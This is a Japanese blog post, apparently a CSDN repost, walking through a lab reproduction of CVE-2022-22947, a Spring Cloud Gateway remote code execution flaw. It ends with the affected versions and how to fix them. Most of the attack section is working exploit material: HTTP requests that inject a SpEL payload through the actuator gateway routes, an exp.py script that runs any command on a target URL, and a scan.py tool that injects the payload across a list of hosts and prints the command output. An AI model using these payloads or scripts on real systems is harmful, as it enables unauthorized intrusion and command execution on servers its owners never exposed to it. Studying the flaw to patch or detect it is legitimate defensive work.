CVE 脆弱性の再発 - CVE-2022-22947 - Spring Cloud Gateway RCE

CVE-2022-22947 - Spring Cloud Gateway RCE

基本紹介

マイクロサービス アーキテクチャと Spring Cloud

Java プロジェクトを開発した当初、すべてのコードはモノリシック アーキテクチャと呼ばれる 1 つのプロジェクトにありました。私たちのプロジェクトのコード量が大きくなり、より多くのメンバーが開発するようになると、プロジェクトのパフォーマンスと開発の効率に非常に大きな問題が生じるため、そのようなプロジェクトでは、それを解体する必要があります。たとえば、大きなプロジェクトであることが判明した場合、注文サービス、ユーザー サービス、商品サービス、物流サービス、資本サービスなどのサービスに分割しました。これらのサービスの後、コンポーネントを導入しました。これらのサービスを調整および管理するための、サービス ゲートウェイ、サービス登録の検出、構成センター、コール チェーンの監視、メトリクスの監視など

ここに画像の説明を挿入

Spring 開発チームは、 Springboot フレームワークに基づいてSpring Cloud エコシステムを開発しました

  • Eureka、Ribbon、OpenFeign、Hystrix、Config、Zuul
  • Consul、Gateway、Bus、Stream、Sleuth、zipkin
  • ナコス、センチネル、シータ

これらの既製のマイクロサービスを使用してプロジェクトを開発しますが、これは以前に比べて非常に便利であり、今回再現する必要がある脆弱性が存在するコンポーネントはゲートウェイと呼ばれ、ゲートウェイ コンポーネントです。

プロジェクトを開発する際、分割されたサービスが多すぎるため、ユーザーが 1 つのプロジェクトで多くのサービスを呼び出すのは非常に面倒であるため、サービス ゲートウェイと呼ばれる統一された入口を使用します。

ゲートウェイの役割:

  • インテリジェント ルーティング
  • 負荷分散
  • プロトコル変換
  • 許可チェック
  • 限流ヒューズ
  • 白黒リスト
  • API モニタリング
  • ログ監査

したがって、ゲートウェイの機能は非常に強力であり、マイクロサービス アーキテクチャにも非常に必要です。

マイクロサービス アーキテクチャの選択:

  • Netflix ズール
  • Spring クラウド ゲートウェイ
  • コング
  • Nginx+セカンダリ

Spring フレームワークでゲートウェイ マイクロサービスを作成するには、pom.xml ファイルに次の依存関係を導入するだけです。

<dependency> 
		<groupId>org.springframework.cloud</groupId>
	 	<artifactId>spring-cloud-starter-gateway</artifactId>
</dependency>

Spring Cloud Gateway概念

  • ルート
  • 断言(Predicate)
  • フィルター

スプリングブーツアクチュエータ

Spring Boot Actuator は、Spring Boot の監視コンポーネントです

アクチュエータの役割:

  • 健康診断
  • 監査
  • 統計
  • HTTP トレース

Spring フレームワークでアクチュエーターを作成するには、pom.xml ファイルに次の依存関係を導入するだけです。

<dependencies>
 <dependency> 
 	<groupId>org.springframework.boot</groupId> 
	<artifactId>spring-boot-starter-actuator</artifactId> 
 </dependency> 
</dependencies>

Actuator を使用して Gateway を監視できます。構成ファイルに次のコードを追加するだけです。

management.endpoint.gateway.enabled=true 
management.endpoints.web.exposure.include=gateway

アクチュエータは、操作ゲートウェイ インターフェイスのリストを提供します。

http://host:port/actuator/gateway/id

ここに画像の説明を挿入

脆弱性の再発

ここでは vulhub が提供する射撃場を使用しています. この射撃場をダウンロードする方法についてはあまり説明しません. それはあまりにも基本的です.

ここに画像の説明を挿入

vulhubの射撃場をダウンロードしたらCVE-2022-22947に入る

ここに画像の説明を挿入

次のコードを実行して、環境を開始およびインストールします

docker-compose up -d

ここに画像の説明を挿入

ポートが開いているかどうかを確認する

docker-compose ps

ここに画像の説明を挿入

ブラウザを開いて URL アドレスにアクセスします

http://ip:8080

ここに画像の説明を挿入

再生モジュールへの BP

ここに画像の説明を挿入

フィルター ペイロードを追加します (ここで IP ポートを自分のものに変更することを忘れないでください)。

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
    
    
  "id": "wuyaaq",
  "filters": [{
    
    
    "name": "AddResponseHeader",
    "args": {
    
    
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{
    
    \"whoami\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

ここに画像の説明を挿入
パッケージを送信すると、フィルター ルールが正常に追加されます。

ここに画像の説明を挿入

フィルター ペイロードを更新する

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: keep-alive
Content-Length: 3
Content-Type: application/x-www-form-urlencoded
Origin: null
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0

a=1

パッケージを送信し、更新が成功したことを示すために戻ります

ここに画像の説明を挿入

アクセス フィルター IDpayload

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

または、この手順をブラウザで直接実行してアクセスします

http://IP:8080/actuator/gateway/routes/hacktest

ここに画像の説明を挿入

入力したコマンド whoami が実行されたことがわかります

この脆弱性の自動検出

次のコードを exp.py として保存します

import requests
import json
import base64
import re

payload1 = '/actuator/gateway/routes/wuyaaq'
payload2 = '/actuator/gateway/refresh'
payload3 = '/actuator/gateway/routes/wuyaaq'
headers = {
    
    
    'Accept-Encoding': 'gzip, deflate',
    'Accept': '*/*',
    'Accept-Language': 'en',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
    'Connection': 'close',
    'Content-Type': 'application/json'
}
proxies = {
    
    
    'http': 'http://192.168.0.112:8080'
}


data = 'eyAgImlkIjogInd1eWFhcSIsICAiZmlsdGVycyI6IFt7ICAgICJuYW1lIjogIkFkZFJlc3BvbnNlSGVhZGVyIiwgICAgImFyZ3MiOiB7ICAgICAgIm5hbWUiOiAiUmVzdWx0IiwgICAgICAidmFsdWUiOiAiI3tuZXcgU3RyaW5nKFQob3JnLnNwcmluZ2ZyYW1ld29yay51dGlsLlN0cmVhbVV0aWxzKS5jb3B5VG9CeXRlQXJyYXkoVChqYXZhLmxhbmcuUnVudGltZSkuZ2V0UnVudGltZSgpLmV4ZWMobmV3IFN0cmluZ1tde1wiQ21kXCJ9KS5nZXRJbnB1dFN0cmVhbSgpKSl9IiAgICB9ICB9XSwgICJ1cmkiOiAiaHR0cDovL2V4YW1wbGUuY29tIn0KCg=='

data1 = {
    
    
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Connection': 'close',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': '0'
}

def exec():
    # 执行命令
    requests.post(url+payload1,headers=headers,data=base64.b64decode(data).decode().replace('Cmd',cmd),verify=False,timeout=5)
    # 获得结果
    requests.post(url+payload2,headers=headers,data=data1,verify=False,timeout=5)
    # 
    a = requests.get(url+payload3,headers=headers,verify=False,timeout=5).text
    exec = re.findall(r'Result = [\'"]?([^\'" )]+)', a)
    print(exec)

if __name__ == '__main__':
    url = input("Url:")
    cmd = input("Cmd:")
    exec()
python exp.py

ここに画像の説明を挿入

原理分析

質問: フィルター (ルーティング) を追加するとコードが実行されるのはなぜですか?

プロセス:

1. Acutator をオンにすると、/actuator/gateway/routes などのインターフェースを介してルート (フィルタを含む) を一覧表示できます 2. /
gateway/routes/{id_route_to_create} を介してルートを作成できます
3. /actuator/gateway を介してルートを更新します/refresh
4. ルートに悪意のあるフィルターが含まれている場合、内部の spEL 式が実行されます

スキャンと修復

脆弱性の範囲:

Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7

https://tanzu.vmware.com/security/cve-2022-22947

バッチ検出コード

次のコードを scan.py として保存します。

import requests
import urllib3
import json
import re
urllib3.disable_warnings()

cmd='whoami'

a='''
  $$$   $$  $$  $$$$$        $$$    $$$    $$$    $$$         $$$    $$$    $$$      $$  $$$$$ 
 $$  $  $$  $$  $$          $  $$  $$ $$  $  $$  $  $$       $  $$  $  $$  $$ $$    $$$     $$ 
 $$     $$  $$  $$             $$  $$ $$     $$     $$          $$     $$  $$ $$   $ $$    $$  
 $$      $$$$   $$$$$  $$$    $$   $$ $$    $$     $$   $$$    $$     $$   $$ $$  $  $$    $$  
 $$      $$$$   $$           $$    $$ $$   $$     $$          $$     $$     $$$$  $$$$$$  $$   
 $$  $   $$$$   $$          $$     $$ $$  $$     $$          $$     $$        $$     $$   $$   
  $$$     $$    $$$$$       $$$$$   $$$   $$$$$  $$$$$       $$$$$  $$$$$   $$$      $$  $$   
'''
b ='python CVE-2022-22947_POC.py url.txt'

uri_check='/actuator/gateway/routes/code'
uri_refresh='/actuator/gateway/refresh'

headers = {
    
    
    'Accept-Encoding': 'gzip, deflate',
    'Accept': '*/*',
    'Accept-Language': 'en',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
    'Content-Type': 'application/json'
}

payload = {
    
    
    "id": "code",
    "filters": [{
    
    
        "name": "AddResponseHeader",
        "args": {
    
    
            "name": "Result",
            "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"" + cmd +"\").getInputStream()))}"
        }
    }],
    "uri": "http://ggg.cpdd",
    "order": 0
}

#刷新路由

def refresh(url):
    try:
        rf=url+uri_refresh
        req_refresh =requests.post(url=rf,verify=False,timeout=1)
        code_refresh=req_refresh.status_code
        if code_refresh==200:
            print('[+]刷新路由成功')
        else:
            print('[-]刷新路由失败')
            # print(code_refresh)
            # print(code_refresh)
    except requests.exceptions.RequestException:
        print('[-]刷新路由超时')
    except:
        print('[-]刷新路由异常')

def huixian(url):
    try:
        req_huixian=requests.get(url=url+uri_check,verify=False,timeout=1)
        req_huixian_text=req_huixian.text
        req_huixian_code =req_huixian.status_code
        if req_huixian_code==200:
            req_huixian_text = req_huixian_text.replace("'", '')
            req_huixian_text = req_huixian_text.replace(" ", '')
            req_huixian_text = req_huixian_text.replace("\\n", '')
            req_huixian_re = re.compile(r'AddResponseHeaderResult=(.*?)],')
            req_huixian_re_1 = req_huixian_re.findall(req_huixian_text, re.S)
            huixian =req_huixian_re_1[0]
            print(f'[+]获取回显命令成功:{huixian}')
            # print(req_huixian_text)
        else:
            # print(req_huixian_code)
            print('[-]获取回显失败,请手动测试')
    except requests.exceptions.RequestException:
        print('[-]获取回显超时')
    except:
        print('[-]获取回显异常,请手动测试')

#删除命令注入
def del_rce_in(url):
    all=url+uri_check
    try:
        req =requests.delete(url=all,verify=False,timeout=2)
        code = req.status_code
        if code ==200:
            print('[+]删除注入路由成功')
        else:
            print('[-]删除注入路由失败')
    except requests.exceptions.RequestException:
        print('[-]删除注入路由超时')
    except:
        print('[-]删除注入路由异常')

#批量检测漏洞
def poc(txt):
    f =open(txt)
    f=f.readlines()
    for url in f:
        url =url.strip('\n')
        url =url.strip('/')
        try:
            all =url+uri_check
            req =requests.post(url=all,data = json.dumps(payload, ensure_ascii = False),headers=headers,json=json,verify=False,timeout=2)
            code =req.status_code
            if code ==201:
                # print(code)
                print(f'[+]{url}疑似存在漏洞')
                poc_file=open('success.txt','a+')
                poc_file.write(url+'\n')
                poc_file.close()
                refresh(url)
                huixian(url)
                del_rce_in(url)
                refresh(url)
                # refresh(url)
            else:
                print(f'[-]{url}不存在漏洞')
        # continue
        except requests.exceptions.RequestException:
            time_poc=f'[-]{url}漏洞检测超时'
            print(time_poc)
            pass
        except:
            print(f'[-]{url}rce注入失败,请检查网站是否能访问')
            continue

if __name__ == '__main__' :
    print(a)
    poc('url.txt')

次に、同じディレクトリに url.txt ファイルを用意し、その中に一括で検出するアドレスを書き込みます。

ここに画像の説明を挿入

次に、バッチ検出のコードを実行します

python scan.py

ここに画像の説明を挿入

修理

1. Spring Cloud Gateway を次のセキュリティ バージョンに更新およびアップグレードします。Spring
Cloud Gateway >=3.1.1
Spring Cloud Gateway >=3.0.7
2. ビジネスへの影響を考慮せずにアクチュエータ インターフェイスを無効にします。

management.endpoint.gateway.enable:false

おすすめ

転載: blog.csdn.net/qq_64973687/article/details/130059155